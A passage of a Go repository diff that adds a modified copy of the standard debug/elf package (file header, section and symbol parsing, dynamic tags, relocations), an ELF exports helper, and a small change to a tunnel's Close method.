@@ -57,6 +58,10 @@ func (c *Tunnel) IncWriteSequence() {
// Close - close tunnel reader and writer
func (c *Tunnel) Close() {
c.Reader.Close()
for _, rc := range c.Readers {
if rc != nil {
rc.Close()
}
}
c.Writer.Close()
}
@@ -1,3 +1,5 @@
//go:build 386 || amd64
package version
/*
+27
View File
@@ -0,0 +1,27 @@
Copyright (c) 2009 The Go Authors. All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are
met:
* Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above
copyright notice, this list of conditions and the following disclaimer
in the documentation and/or other materials provided with the
distribution.
* Neither the name of Google Inc. nor the names of its
contributors may be used to endorse or promote products derived from
this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
File diff suppressed because it is too large. Load diff
+32
View File
@@ -0,0 +1,32 @@
package elf
/*
Any symbol in the dynamic symbol table (in .dynsym) for which .st_shndx == SHN_UNDEF
(references undefined section) is an import, and every other symbol is defined and exported.
*/
// Export - describes a single export entry
type Export struct {
Name string
VirtualAddress uint64
}
// Exports - gets exports
func (f *File) Exports() ([]Export, error) {
var exports []Export
symbols, err := f.DynamicSymbols()
if err != nil {
return nil, err
}
for _, s := range symbols {
if s.Section != SHN_UNDEF {
exports = append(exports, Export{
Name: s.Name,
VirtualAddress: s.Value,
})
}
}
return exports, nil
}
+964
View File
@@ -0,0 +1,964 @@
// Copyright 2009 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
// Package elf implements access to ELF object files.
package elf
import (
"bytes"
"compress/zlib"
"debug/dwarf"
"encoding/binary"
"errors"
"fmt"
"io"
"os"
"strings"
)
// seekStart, seekCurrent, seekEnd are copies of
// io.SeekStart, io.SeekCurrent, and io.SeekEnd.
// We can't use the ones from package io because
// we want this code to build with Go 1.4 during
// cmd/dist bootstrap.
const (
seekStart int = 0
seekCurrent int = 1
seekEnd int = 2
)
// TODO: error reporting detail
/*
* Internal ELF representation
*/
// A FileHeader represents an ELF file header.
type FileHeader struct {
Class Class
Data Data
Version Version
OSABI OSABI
ABIVersion uint8
ByteOrder binary.ByteOrder
Type Type
Machine Machine
Entry uint64
SHTOffset int64
ShStrIndex int
}
// A File represents an open ELF file.
type File struct {
FileHeader
Sections []*Section
Progs []*Prog
closer io.Closer
gnuNeed []verneed
gnuVersym []byte
Insertion []byte
InsertionEOF []byte
DynTags []DynTagValue
}
// A SectionHeader represents a single ELF section header.
type SectionHeader struct {
Name string
Type SectionType
Flags SectionFlag
Addr uint64
Offset uint64
Size uint64
Link uint32
Info uint32
Addralign uint64
Entsize uint64
Shnum int // Section Header Number
Shname uint32 // Section Header Name (index)
// FileSize is the size of this section in the file in bytes.
// If a section is compressed, FileSize is the size of the
// compressed data, while Size (above) is the size of the
// uncompressed data.
FileSize uint64
}
// A Section represents a single section in an ELF file.
type Section struct {
SectionHeader
// Embed ReaderAt for ReadAt method.
// Do not embed SectionReader directly
// to avoid having Read and Seek.
// If a client wants Read and Seek it must use
// Open() to avoid fighting over the seek offset
// with other clients.
//
// ReaderAt may be nil if the section is not easily available
// in a random-access form. For example, a compressed section
// may have a nil ReaderAt.
io.ReaderAt
sr *io.SectionReader
compressionType CompressionType
compressionOffset int64
}
// Data reads and returns the contents of the ELF section.
// Even if the section is stored compressed in the ELF file,
// Data returns uncompressed data.
func (s *Section) Data() ([]byte, error) {
dat := make([]byte, s.Size)
n, err := io.ReadFull(s.Open(), dat)
return dat[0:n], err
}
// stringTable reads and returns the string table given by the
// specified link value.
func (f *File) stringTable(link uint32) ([]byte, error) {
if link <= 0 || link >= uint32(len(f.Sections)) {
return nil, errors.New("section has invalid string table link")
}
return f.Sections[link].Data()
}
// Open returns a new ReadSeeker reading the ELF section.
// Even if the section is stored compressed in the ELF file,
// the ReadSeeker reads uncompressed data.
func (s *Section) Open() io.ReadSeeker {
if s.Flags&SHF_COMPRESSED == 0 {
return io.NewSectionReader(s.sr, 0, 1<<63-1)
}
if s.compressionType == COMPRESS_ZLIB {
return &readSeekerFromReader{
reset: func() (io.Reader, error) {
fr := io.NewSectionReader(s.sr, s.compressionOffset, int64(s.FileSize)-s.compressionOffset)
return zlib.NewReader(fr)
},
size: int64(s.Size),
}
}
err := &FormatError{int64(s.Offset), "unknown compression type", s.compressionType}
return errorReader{err}
}
// A ProgHeader represents a single ELF program header.
type ProgHeader struct {
Type ProgType
Flags ProgFlag
Off uint64
Vaddr uint64
Paddr uint64
Filesz uint64
Memsz uint64
Align uint64
}
// A Prog represents a single ELF program header in an ELF binary.
type Prog struct {
ProgHeader
// Embed ReaderAt for ReadAt method.
// Do not embed SectionReader directly
// to avoid having Read and Seek.
// If a client wants Read and Seek it must use
// Open() to avoid fighting over the seek offset
// with other clients.
io.ReaderAt
sr *io.SectionReader
}
// Open returns a new ReadSeeker reading the ELF program body.
func (p *Prog) Open() io.ReadSeeker { return io.NewSectionReader(p.sr, 0, 1<<63-1) }
// A Symbol represents an entry in an ELF symbol table section.
type Symbol struct {
Name string
NameIndex uint32
Info, Other byte
Section SectionIndex
SectIndex uint16
Value, Size uint64
}
// ToSym64 - Convert to a Sym64
func (s Symbol) ToSym64() (retval Sym64) {
retval.Name = s.NameIndex
retval.Info = s.Info
retval.Other = s.Other
retval.Shndx = s.SectIndex
retval.Value = s.Value
retval.Size = s.Size
return
}
// ToSym32 - Convert to a Sym32
func (s Symbol) ToSym32() (retval Sym32) {
retval.Name = s.NameIndex
retval.Info = s.Info
retval.Other = s.Other
retval.Shndx = s.SectIndex
retval.Value = uint32(s.Value)
retval.Size = uint32(s.Size)
return
}
/*
* ELF reader
*/
type FormatError struct {
off int64
msg string
val interface{}
}
func (e *FormatError) Error() string {
msg := e.msg
if e.val != nil {
msg += fmt.Sprintf(" '%v' ", e.val)
}
msg += fmt.Sprintf("in record at byte %#x", e.off)
return msg
}
// Open opens the named file using os.Open and prepares it for use as an ELF binary.
func Open(name string) (*File, error) {
f, err := os.Open(name)
if err != nil {
return nil, err
}
ff, err := NewFile(f)
if err != nil {
f.Close()
return nil, err
}
ff.closer = f
return ff, nil
}
// Close closes the File.
// If the File was created using NewFile directly instead of Open,
// Close has no effect.
func (f *File) Close() error {
var err error
if f.closer != nil {
err = f.closer.Close()
f.closer = nil
}
return err
}
// SectionByType returns the first section in f with the
// given type, or nil if there is no such section.
func (f *File) SectionByType(typ SectionType) *Section {
for _, s := range f.Sections {
if s.Type == typ {
return s
}
}
return nil
}
// SectionByName returns the first section in f with the
// given name, or nil if there is no such section.
func (f *File) SectionByName(name string) *Section {
for _, s := range f.Sections {
if s.Name == name {
return s
}
}
return nil
}
// NewFile creates a new File for accessing an ELF binary in an underlying reader.
// The ELF binary is expected to start at position 0 in the ReaderAt.
func NewFile(r io.ReaderAt) (*File, error) {
sr := io.NewSectionReader(r, 0, 1<<63-1)
// Read and decode ELF identifier
var ident [16]uint8
if _, err := r.ReadAt(ident[0:], 0); err != nil {
return nil, err
}
if ident[0] != '\x7f' || ident[1] != 'E' || ident[2] != 'L' || ident[3] != 'F' {
return nil, &FormatError{0, "bad magic number", ident[0:4]}
}
f := new(File)
f.Class = Class(ident[EI_CLASS])
switch f.Class {
case ELFCLASS32:
case ELFCLASS64:
// ok
default:
return nil, &FormatError{0, "unknown ELF class", f.Class}
}
f.Data = Data(ident[EI_DATA])
switch f.Data {
case ELFDATA2LSB:
f.ByteOrder = binary.LittleEndian
case ELFDATA2MSB:
f.ByteOrder = binary.BigEndian
default:
return nil, &FormatError{0, "unknown ELF data encoding", f.Data}
}
f.Version = Version(ident[EI_VERSION])
if f.Version != EV_CURRENT {
return nil, &FormatError{0, "unknown ELF version", f.Version}
}
f.OSABI = OSABI(ident[EI_OSABI])
f.ABIVersion = ident[EI_ABIVERSION]
// Read ELF file header
var phoff int64
var phentsize, phnum int
var shentsize, shnum int
f.ShStrIndex = -1
switch f.Class {
case ELFCLASS32:
hdr := new(Header32)
sr.Seek(0, seekStart)
if err := binary.Read(sr, f.ByteOrder, hdr); err != nil {
return nil, err
}
f.Type = Type(hdr.Type)
f.Machine = Machine(hdr.Machine)
f.Entry = uint64(hdr.Entry)
if v := Version(hdr.Version); v != f.Version {
return nil, &FormatError{0, "mismatched ELF version", v}
}
phoff = int64(hdr.Phoff)
phentsize = int(hdr.Phentsize)
phnum = int(hdr.Phnum)
f.SHTOffset = int64(hdr.Shoff)
shentsize = int(hdr.Shentsize)
shnum = int(hdr.Shnum)
f.ShStrIndex = int(hdr.Shstrndx)
case ELFCLASS64:
hdr := new(Header64)
sr.Seek(0, seekStart)
if err := binary.Read(sr, f.ByteOrder, hdr); err != nil {
return nil, err
}
f.Type = Type(hdr.Type)
f.Machine = Machine(hdr.Machine)
f.Entry = hdr.Entry
if v := Version(hdr.Version); v != f.Version {
return nil, &FormatError{0, "mismatched ELF version", v}
}
phoff = int64(hdr.Phoff)
phentsize = int(hdr.Phentsize)
phnum = int(hdr.Phnum)
f.SHTOffset = int64(hdr.Shoff)
shentsize = int(hdr.Shentsize)
shnum = int(hdr.Shnum)
f.ShStrIndex = int(hdr.Shstrndx)
}
if shnum > 0 && f.SHTOffset > 0 && (f.ShStrIndex < 0 || f.ShStrIndex >= shnum) {
return nil, &FormatError{0, "invalid ELF shstrndx", f.ShStrIndex}
}
// Read program headers
f.Progs = make([]*Prog, phnum)
for i := 0; i < phnum; i++ {
off := phoff + int64(i)*int64(phentsize)
sr.Seek(off, seekStart)
p := new(Prog)
switch f.Class {
case ELFCLASS32:
ph := new(Prog32)
if err := binary.Read(sr, f.ByteOrder, ph); err != nil {
return nil, err
}
p.ProgHeader = ProgHeader{
Type: ProgType(ph.Type),
Flags: ProgFlag(ph.Flags),
Off: uint64(ph.Off),
Vaddr: uint64(ph.Vaddr),
Paddr: uint64(ph.Paddr),
Filesz: uint64(ph.Filesz),
Memsz: uint64(ph.Memsz),
Align: uint64(ph.Align),
}
case ELFCLASS64:
ph := new(Prog64)
if err := binary.Read(sr, f.ByteOrder, ph); err != nil {
return nil, err
}
p.ProgHeader = ProgHeader{
Type: ProgType(ph.Type),
Flags: ProgFlag(ph.Flags),
Off: ph.Off,
Vaddr: ph.Vaddr,
Paddr: ph.Paddr,
Filesz: ph.Filesz,
Memsz: ph.Memsz,
Align: ph.Align,
}
}
p.sr = io.NewSectionReader(r, int64(p.Off), int64(p.Filesz))
p.ReaderAt = p.sr
f.Progs[i] = p
}
// Read section headers
f.Sections = make([]*Section, shnum)
names := make([]uint32, shnum)
for i := 0; i < shnum; i++ {
off := f.SHTOffset + int64(i)*int64(shentsize)
sr.Seek(off, seekStart)
s := new(Section)
switch f.Class {
case ELFCLASS32:
sh := new(Section32)
if err := binary.Read(sr, f.ByteOrder, sh); err != nil {
return nil, err
}
names[i] = sh.Name
s.SectionHeader = SectionHeader{
Type: SectionType(sh.Type),
Flags: SectionFlag(sh.Flags),
Addr: uint64(sh.Addr),
Offset: uint64(sh.Off),
FileSize: uint64(sh.Size),
Link: sh.Link,
Info: sh.Info,
Addralign: uint64(sh.Addralign),
Entsize: uint64(sh.Entsize),
Shnum: i,
Shname: sh.Name,
}
case ELFCLASS64:
sh := new(Section64)
if err := binary.Read(sr, f.ByteOrder, sh); err != nil {
return nil, err
}
names[i] = sh.Name
s.SectionHeader = SectionHeader{
Type: SectionType(sh.Type),
Flags: SectionFlag(sh.Flags),
Offset: sh.Off,
FileSize: sh.Size,
Addr: sh.Addr,
Link: sh.Link,
Info: sh.Info,
Addralign: sh.Addralign,
Entsize: sh.Entsize,
Shnum: i,
Shname: sh.Name,
}
}
s.sr = io.NewSectionReader(r, int64(s.Offset), int64(s.FileSize))
if s.Flags&SHF_COMPRESSED == 0 {
s.ReaderAt = s.sr
s.Size = s.FileSize
} else {
// Read the compression header.
switch f.Class {
case ELFCLASS32:
ch := new(Chdr32)
if err := binary.Read(s.sr, f.ByteOrder, ch); err != nil {
return nil, err
}
s.compressionType = CompressionType(ch.Type)
s.Size = uint64(ch.Size)
s.Addralign = uint64(ch.Addralign)
s.compressionOffset = int64(binary.Size(ch))
case ELFCLASS64:
ch := new(Chdr64)
if err := binary.Read(s.sr, f.ByteOrder, ch); err != nil {
return nil, err
}
s.compressionType = CompressionType(ch.Type)
s.Size = ch.Size
s.Addralign = ch.Addralign
s.compressionOffset = int64(binary.Size(ch))
}
}
f.Sections[i] = s
}
if err := f.parseDynTags(); err != nil {
return nil, err
}
if len(f.Sections) == 0 {
return f, nil
}
// Load section header string table.
shstrtab, err := f.Sections[f.ShStrIndex].Data()
if err != nil {
return nil, err
}
for i, s := range f.Sections {
var ok bool
s.Name, ok = getString(shstrtab, int(names[i]))
if !ok {
return nil, &FormatError{f.SHTOffset + int64(i*shentsize), "bad section name index", names[i]}
}
}
return f, nil
}
// getSymbols returns a slice of Symbols from parsing the symbol table
// with the given type, along with the associated string table.
func (f *File) getSymbols(typ SectionType) ([]Symbol, []byte, error) {
switch f.Class {
case ELFCLASS64:
return f.getSymbols64(typ)
case ELFCLASS32:
return f.getSymbols32(typ)
}
return nil, nil, errors.New("not implemented")
}
// ErrNoSymbols is returned by File.Symbols and File.DynamicSymbols
// if there is no such section in the File.
var ErrNoSymbols = errors.New("no symbol section")
func (f *File) getSymbols32(typ SectionType) ([]Symbol, []byte, error) {
symtabSection := f.SectionByType(typ)
if symtabSection == nil {
return nil, nil, ErrNoSymbols
}
data, err := symtabSection.Data()
if err != nil {
return nil, nil, errors.New("cannot load symbol section")
}
symtab := bytes.NewReader(data)
if symtab.Len()%Sym32Size != 0 {
return nil, nil, errors.New("length of symbol section is not a multiple of SymSize")
}
strdata, err := f.stringTable(symtabSection.Link)
if err != nil {
return nil, nil, errors.New("cannot load string table section")
}
// The first entry is all zeros.
var skip [Sym32Size]byte
symtab.Read(skip[:])
symbols := make([]Symbol, symtab.Len()/Sym32Size)
i := 0
var sym Sym32
for symtab.Len() > 0 {
binary.Read(symtab, f.ByteOrder, &sym)
str, _ := getString(strdata, int(sym.Name))
symbols[i].Name = str
symbols[i].Info = sym.Info
symbols[i].Other = sym.Other
symbols[i].Section = SectionIndex(sym.Shndx)
symbols[i].Value = uint64(sym.Value)
symbols[i].Size = uint64(sym.Size)
i++
}
return symbols, strdata, nil
}
func (f *File) getSymbols64(typ SectionType) ([]Symbol, []byte, error) {
symtabSection := f.SectionByType(typ)
if symtabSection == nil {
return nil, nil, ErrNoSymbols
}
data, err := symtabSection.Data()
if err != nil {
return nil, nil, errors.New("cannot load symbol section")
}
symtab := bytes.NewReader(data)
if symtab.Len()%Sym64Size != 0 {
return nil, nil, errors.New("length of symbol section is not a multiple of Sym64Size")
}
strdata, err := f.stringTable(symtabSection.Link)
if err != nil {
return nil, nil, errors.New("cannot load string table section")
}
// The first entry is all zeros.
var skip [Sym64Size]byte
symtab.Read(skip[:])
symbols := make([]Symbol, symtab.Len()/Sym64Size)
i := 0
var sym Sym64
for symtab.Len() > 0 {
binary.Read(symtab, f.ByteOrder, &sym)
str, _ := getString(strdata, int(sym.Name))
symbols[i].Name = str
symbols[i].NameIndex = sym.Name
symbols[i].Info = sym.Info
symbols[i].Other = sym.Other
symbols[i].Section = SectionIndex(sym.Shndx)
symbols[i].SectIndex = sym.Shndx
symbols[i].Value = sym.Value
symbols[i].Size = sym.Size
i++
}
return symbols, strdata, nil
}
// getString extracts a string from an ELF string table.
func getString(section []byte, start int) (string, bool) {
if start < 0 || start >= len(section) {
return "", false
}
for end := start; end < len(section); end++ {
if section[end] == 0 {
return string(section[start:end]), true
}
}
return "", false
}
// Section returns a section with the given name, or nil if no such
// section exists.
func (f *File) Section(name string) *Section {
for _, s := range f.Sections {
if s.Name == name {
return s
}
}
return nil
}
// DWARF - No idea what this does
func (f *File) DWARF() (*dwarf.Data, error) {
dwarfSuffix := func(s *Section) string {
switch {
case strings.HasPrefix(s.Name, ".debug_"):
return s.Name[7:]
case strings.HasPrefix(s.Name, ".zdebug_"):
return s.Name[8:]
default:
return ""
}
}
// sectionData gets the data for s, checks its size, and
// applies any applicable relations.
sectionData := func(i int, s *Section) ([]byte, error) {
b, err := s.Data()
if err != nil && uint64(len(b)) < s.Size {
return nil, err
}
if len(b) >= 12 && string(b[:4]) == "ZLIB" {
dlen := binary.BigEndian.Uint64(b[4:12])
dbuf := make([]byte, dlen)
r, err := zlib.NewReader(bytes.NewBuffer(b[12:]))
if err != nil {
return nil, err
}
if _, err := io.ReadFull(r, dbuf); err != nil {
return nil, err
}
if err := r.Close(); err != nil {
return nil, err
}
b = dbuf
}
for _, r := range f.Sections {
if r.Type != SHT_RELA && r.Type != SHT_REL {
continue
}
if int(r.Info) != i {
continue
}
rd, err := r.Data()
if err != nil {
return nil, err
}
err = f.applyRelocations(b, rd)
if err != nil {
return nil, err
}
}
return b, nil
}
// There are many other DWARF sections, but these
// are the ones the debug/dwarf package uses.
// Don't bother loading others.
var dat = map[string][]byte{"abbrev": nil, "info": nil, "str": nil, "line": nil, "ranges": nil}
for i, s := range f.Sections {
suffix := dwarfSuffix(s)
if suffix == "" {
continue
}
if _, ok := dat[suffix]; !ok {
continue
}
b, err := sectionData(i, s)
if err != nil {
return nil, err
}
dat[suffix] = b
}
d, err := dwarf.New(dat["abbrev"], nil, nil, dat["info"], dat["line"], nil, dat["ranges"], dat["str"])
if err != nil {
return nil, err
}
// Look for DWARF4 .debug_types sections.
for i, s := range f.Sections {
suffix := dwarfSuffix(s)
if suffix != "types" {
continue
}
b, err := sectionData(i, s)
if err != nil {
return nil, err
}
err = d.AddTypes(fmt.Sprintf("types-%d", i), b)
if err != nil {
return nil, err
}
}
return d, nil
}
// Symbols returns the symbol table for f. The symbols will be listed in the order
// they appear in f.
//
// For compatibility with Go 1.0, Symbols omits the null symbol at index 0.
// After retrieving the symbols as symtab, an externally supplied index x
// corresponds to symtab[x-1], not symtab[x].
func (f *File) Symbols() ([]Symbol, error) {
sym, _, err := f.getSymbols(SHT_SYMTAB)
return sym, err
}
// DynamicSymbols returns the dynamic symbol table for f. The symbols
// will be listed in the order they appear in f.
//
// For compatibility with Symbols, DynamicSymbols omits the null symbol at index 0.
// After retrieving the symbols as symtab, an externally supplied index x
// corresponds to symtab[x-1], not symtab[x].
func (f *File) DynamicSymbols() ([]Symbol, error) {
sym, _, err := f.getSymbols(SHT_DYNSYM)
return sym, err
}
type ImportedSymbol struct {
Name string
Version string
Library string
}
// ImportedSymbols returns the names of all symbols
// referred to by the binary f that are expected to be
// satisfied by other libraries at dynamic load time.
// It does not return weak symbols.
func (f *File) ImportedSymbols() ([]ImportedSymbol, error) {
sym, str, err := f.getSymbols(SHT_DYNSYM)
if err != nil {
return nil, err
}
f.gnuVersionInit(str)
var all []ImportedSymbol
for i, s := range sym {
if ST_BIND(s.Info) == STB_GLOBAL && s.Section == SHN_UNDEF {
all = append(all, ImportedSymbol{Name: s.Name})
f.gnuVersion(i, &all[len(all)-1])
}
}
return all, nil
}
type verneed struct {
File string
Name string
}
// gnuVersionInit parses the GNU version tables
// for use by calls to gnuVersion.
func (f *File) gnuVersionInit(str []byte) {
// Accumulate verneed information.
vn := f.SectionByType(SHT_GNU_VERNEED)
if vn == nil {
return
}
d, _ := vn.Data()
var need []verneed
i := 0
for {
if i+16 > len(d) {
break
}
vers := f.ByteOrder.Uint16(d[i : i+2])
if vers != 1 {
break
}
cnt := f.ByteOrder.Uint16(d[i+2 : i+4])
fileoff := f.ByteOrder.Uint32(d[i+4 : i+8])
aux := f.ByteOrder.Uint32(d[i+8 : i+12])
next := f.ByteOrder.Uint32(d[i+12 : i+16])
file, _ := getString(str, int(fileoff))
var name string
j := i + int(aux)
for c := 0; c < int(cnt); c++ {
if j+16 > len(d) {
break
}
// hash := f.ByteOrder.Uint32(d[j:j+4])
// flags := f.ByteOrder.Uint16(d[j+4:j+6])
other := f.ByteOrder.Uint16(d[j+6 : j+8])
nameoff := f.ByteOrder.Uint32(d[j+8 : j+12])
next := f.ByteOrder.Uint32(d[j+12 : j+16])
name, _ = getString(str, int(nameoff))
ndx := int(other)
if ndx >= len(need) {
a := make([]verneed, 2*(ndx+1))
copy(a, need)
need = a
}
need[ndx] = verneed{file, name}
if next == 0 {
break
}
j += int(next)
}
if next == 0 {
break
}
i += int(next)
}
// Versym parallels symbol table, indexing into verneed.
vs := f.SectionByType(SHT_GNU_VERSYM)
if vs == nil {
return
}
d, _ = vs.Data()
f.gnuNeed = need
f.gnuVersym = d
}
// gnuVersion adds Library and Version information to sym,
// which came from offset i of the symbol table.
func (f *File) gnuVersion(i int, sym *ImportedSymbol) {
// Each entry is two bytes.
i = (i + 1) * 2
if i >= len(f.gnuVersym) {
return
}
j := int(f.ByteOrder.Uint16(f.gnuVersym[i:]))
if j < 2 || j >= len(f.gnuNeed) {
return
}
n := &f.gnuNeed[j]
sym.Library = n.File
sym.Version = n.Name
}
// ImportedLibraries returns the names of all libraries
// referred to by the binary f that are expected to be
// linked with the binary at dynamic link time.
func (f *File) ImportedLibraries() ([]string, error) {
return f.DynString(DT_NEEDED)
}
func (f *File) parseDynTags() error {
s := f.SectionByType(SHT_DYNAMIC)
if s == nil {
return nil // nothing to do
}
var m []DynTagValue
d, err := s.Data()
if err != nil {
return err
}
//fmt.Printf("%+v\nd: %x len(%d)\n", s, d, len(d))
r := bytes.NewBuffer(d)
for {
var t, v uint64
if err := binary.Read(r, f.ByteOrder, &t); err != nil {
if err == io.EOF {
break
} else if err != nil {
return err
}
}
if err := binary.Read(r, f.ByteOrder, &v); err != nil {
if err == io.EOF {
break
} else if err != nil {
return err
}
}
m = append(m, DynTagValue{Tag: DynTag(t), Value: v})
//fmt.Printf("%x -> %x\n", t, v)
}
f.DynTags = m
return nil
}
// DynString returns the strings listed for the given tag in the file's dynamic
// section.
//
// The tag must be one that takes string values: DT_NEEDED, DT_SONAME, DT_RPATH, or
// DT_RUNPATH.
func (f *File) DynString(tag DynTag) ([]string, error) {
switch tag {
case DT_NEEDED, DT_SONAME, DT_RPATH, DT_RUNPATH:
default:
return nil, fmt.Errorf("non-string-valued tag %v", tag)
}
ds := f.SectionByType(SHT_DYNAMIC)
if ds == nil {
// not dynamic, so no libraries
return nil, nil
}
str, err := f.stringTable(ds.Link)
if err != nil {
return nil, err
}
var all []string
for _, taggedValue := range f.DynTags {
if taggedValue.Tag == tag {
s, ok := getString(str, int(taggedValue.Value))
if ok {
all = append(all, s)
}
}
}
return all, nil
}
+108
View File
@@ -0,0 +1,108 @@
// Copyright 2015 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
package elf
import (
"io"
"os"
)
// errorReader returns error from all operations.
type errorReader struct {
error
}
func (r errorReader) Read(p []byte) (n int, err error) {
return 0, r.error
}
func (r errorReader) ReadAt(p []byte, off int64) (n int, err error) {
return 0, r.error
}
func (r errorReader) Seek(offset int64, whence int) (int64, error) {
return 0, r.error
}
func (r errorReader) Close() error {
return r.error
}
// readSeekerFromReader converts an io.Reader into an io.ReadSeeker.
// In general Seek may not be efficient, but it is optimized for
// common cases such as seeking to the end to find the length of the
// data.
type readSeekerFromReader struct {
reset func() (io.Reader, error)
r io.Reader
size int64
offset int64
}
func (r *readSeekerFromReader) start() {
x, err := r.reset()
if err != nil {
r.r = errorReader{err}
} else {
r.r = x
}
r.offset = 0
}
func (r *readSeekerFromReader) Read(p []byte) (n int, err error) {
if r.r == nil {
r.start()
}
n, err = r.r.Read(p)
r.offset += int64(n)
return n, err
}
func (r *readSeekerFromReader) Seek(offset int64, whence int) (int64, error) {
var newOffset int64
switch whence {
case seekStart:
newOffset = offset
case seekCurrent:
newOffset = r.offset + offset
case seekEnd:
newOffset = r.size + offset
default:
return 0, os.ErrInvalid
}
switch {
case newOffset == r.offset:
return newOffset, nil
case newOffset < 0, newOffset > r.size:
return 0, os.ErrInvalid
case newOffset == 0:
r.r = nil
case newOffset == r.size:
r.r = errorReader{io.EOF}
default:
if newOffset < r.offset {
// Restart at the beginning.
r.start()
}
// Read until we reach offset.
var buf [512]byte
for r.offset < newOffset {
b := buf[:]
if newOffset-r.offset < int64(len(buf)) {
b = buf[:newOffset-r.offset]
}
if _, err := r.Read(b); err != nil {
return 0, err
}
}
}
r.offset = newOffset
return r.offset, nil
}
+529
View File
@@ -0,0 +1,529 @@
package elf
import (
"bytes"
"encoding/binary"
"errors"
)
// applyRelocations applies relocations to dst. rels is a relocations section
// in REL or RELA format.
func (f *File) applyRelocations(dst []byte, rels []byte) error {
switch {
case f.Class == ELFCLASS64 && f.Machine == EM_X86_64:
return f.applyRelocationsAMD64(dst, rels)
case f.Class == ELFCLASS32 && f.Machine == EM_386:
return f.applyRelocations386(dst, rels)
case f.Class == ELFCLASS32 && f.Machine == EM_ARM:
return f.applyRelocationsARM(dst, rels)
case f.Class == ELFCLASS64 && f.Machine == EM_AARCH64:
return f.applyRelocationsARM64(dst, rels)
case f.Class == ELFCLASS32 && f.Machine == EM_PPC:
return f.applyRelocationsPPC(dst, rels)
case f.Class == ELFCLASS64 && f.Machine == EM_PPC64:
return f.applyRelocationsPPC64(dst, rels)
case f.Class == ELFCLASS32 && f.Machine == EM_MIPS:
return f.applyRelocationsMIPS(dst, rels)
case f.Class == ELFCLASS64 && f.Machine == EM_MIPS:
return f.applyRelocationsMIPS64(dst, rels)
case f.Class == ELFCLASS64 && f.Machine == EM_RISCV:
return f.applyRelocationsRISCV64(dst, rels)
case f.Class == ELFCLASS64 && f.Machine == EM_S390:
return f.applyRelocationss390x(dst, rels)
case f.Class == ELFCLASS64 && f.Machine == EM_SPARCV9:
return f.applyRelocationsSPARC64(dst, rels)
default:
return errors.New("applyRelocations: not implemented")
}
}
func (f *File) applyRelocationsAMD64(dst []byte, rels []byte) error {
// 24 is the size of Rela64.
if len(rels)%24 != 0 {
return errors.New("length of relocation section is not a multiple of 24")
}
symbols, _, err := f.getSymbols(SHT_SYMTAB)
if err != nil {
return err
}
b := bytes.NewReader(rels)
var rela Rela64
for b.Len() > 0 {
binary.Read(b, f.ByteOrder, &rela)
symNo := rela.Info >> 32
t := R_X86_64(rela.Info & 0xffff)
if symNo == 0 || symNo > uint64(len(symbols)) {
continue
}
sym := &symbols[symNo-1]
if SymType(sym.Info&0xf) != STT_SECTION {
// We don't handle non-section relocations for now.
continue
}
// There are relocations, so this must be a normal
// object file, and we only look at section symbols,
// so we assume that the symbol value is 0.
switch t {
case R_X86_64_64:
if rela.Off+8 >= uint64(len(dst)) || rela.Addend < 0 {
continue
}
f.ByteOrder.PutUint64(dst[rela.Off:rela.Off+8], uint64(rela.Addend))
case R_X86_64_32:
if rela.Off+4 >= uint64(len(dst)) || rela.Addend < 0 {
continue
}
f.ByteOrder.PutUint32(dst[rela.Off:rela.Off+4], uint32(rela.Addend))
}
}
return nil
}
func (f *File) applyRelocations386(dst []byte, rels []byte) error {
// 8 is the size of Rel32.
if len(rels)%8 != 0 {
return errors.New("length of relocation section is not a multiple of 8")
}
symbols, _, err := f.getSymbols(SHT_SYMTAB)
if err != nil {
return err
}
b := bytes.NewReader(rels)
var rel Rel32
for b.Len() > 0 {
binary.Read(b, f.ByteOrder, &rel)
symNo := rel.Info >> 8
t := R_386(rel.Info & 0xff)
if symNo == 0 || symNo > uint32(len(symbols)) {
continue
}
sym := &symbols[symNo-1]
if t == R_386_32 {
if rel.Off+4 >= uint32(len(dst)) {
continue
}
val := f.ByteOrder.Uint32(dst[rel.Off : rel.Off+4])
val += uint32(sym.Value)
f.ByteOrder.PutUint32(dst[rel.Off:rel.Off+4], val)
}
}
return nil
}
func (f *File) applyRelocationsARM(dst []byte, rels []byte) error {
// 8 is the size of Rel32.
if len(rels)%8 != 0 {
return errors.New("length of relocation section is not a multiple of 8")
}
symbols, _, err := f.getSymbols(SHT_SYMTAB)
if err != nil {
return err
}
b := bytes.NewReader(rels)
var rel Rel32
for b.Len() > 0 {
binary.Read(b, f.ByteOrder, &rel)
symNo := rel.Info >> 8
t := R_ARM(rel.Info & 0xff)
if symNo == 0 || symNo > uint32(len(symbols)) {
continue
}
sym := &symbols[symNo-1]
switch t {
case R_ARM_ABS32:
if rel.Off+4 >= uint32(len(dst)) {
continue
}
val := f.ByteOrder.Uint32(dst[rel.Off : rel.Off+4])
val += uint32(sym.Value)
f.ByteOrder.PutUint32(dst[rel.Off:rel.Off+4], val)
}
}
return nil
}
func (f *File) applyRelocationsARM64(dst []byte, rels []byte) error {
// 24 is the size of Rela64.
if len(rels)%24 != 0 {
return errors.New("length of relocation section is not a multiple of 24")
}
symbols, _, err := f.getSymbols(SHT_SYMTAB)
if err != nil {
return err
}
b := bytes.NewReader(rels)
var rela Rela64
for b.Len() > 0 {
